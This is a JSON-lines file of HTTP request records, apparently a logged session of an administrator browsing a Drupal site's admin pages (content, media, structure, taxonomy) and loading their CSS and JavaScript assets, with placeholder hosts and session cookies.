{"method": "GET", "target": "/sites/default/files/js/js_v-Yw0xKoOugqNPSjJ5Uq4iDp8HsOpoK3gpMm6zQyQf0.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzGEKgDAIQOELrXYmMRmSuaFudPxGUNHf98HDqkFndJC8WW8gK75lEdbdE1ajBwGDB93w6we5Q6GkMLhAcNXMc2M67WsXMjYquA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_xN42W8Ek2DB8BqQV6yHIuvbUBLGM5TZ2vbsUruJAfoM.css?delta=0&language=en&theme=claro&include=eJxLzi9K1U8pKi1IzNErSi1OLdFNLChITSxKzEtOBQCdwwrv&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_oqDrM0IhMLn8AZOW50puF3Yhjjr8wcLaRDch0LJwjvg.js?scope=footer&delta=0&language=en&theme=claro&include=eJxLzkksytdPKSotSMzRy0ss0y1JTCoGAFlaCBM&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_BlPFDilS_oEhwF0HDxZ480ulASjw5IudrBkkXsaaxvI.css?delta=0&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_CcEISLR1pk_U-fpVvH09p2TLaOmRHxcIbXaUgsAf38o.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_DAGcX-roZwuoTrgJMQuFtrMOlf7B6qygq9ldzK5J9fQ.css?delta=0&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfiles%3Alocation%3Dpage%26name%3Dfiles%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=Cypp2HJrw0AOe1SofB-g18guU4gfVM4DwiYMLTrp7Vo"}
|
||||
{"method": "GET", "target": "/admin/content/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_PIXqWZRZfDre6leYgjG1ppL5f4T6fgWnaJOocJBHvSs.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia%3Alocation%3Dpage%26name%3Dmedia%26display_id%3Dmedia_page_list%26langcode%3Den&tokens%5B%5D=gRSv7UHLkroVt8nCE9bjv39cQ2rcWbPgIomvr8XYvPU"}
|
||||
{"method": "GET", "target": "/admin/content/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/block", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dblock_content%3Alocation%3Dpage%26name%3Dblock_content%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=7taM7aKonK2Mcsm70tCmCBC6-KRZ5TStMivh9X4pq-8"}
|
||||
{"method": "GET", "target": "/admin/content/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_xXCDbP-RAFtr_qi4RQmy83L1Stl0GIDonFQNXSDjcIM.css?delta=1&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_hu2qYVXcDNCCkSE_yDBAQwtnjk6xIKxwvzSYExQhhJk.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/types", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/types/manage/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/types/manage/article/fields", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/taxonomy", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_a0l6DFNDHHdFIetyfjHJ-uIfWwXSO0EmaV_goLTsK6Y.css?delta=0&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_BphLjOXn9B0C8-cuBOEKIDKSXP4pW8ECiyxNm922aI0.css?delta=1&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_-vK4LyWpDr9lb8GbXxZjkSnHhHJxu3Daihrs4NQA5Sw.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_0BtosoKuAqM5GtLkuevTJnnLoBkSvptjlR0qQYYDruk.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/overview", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
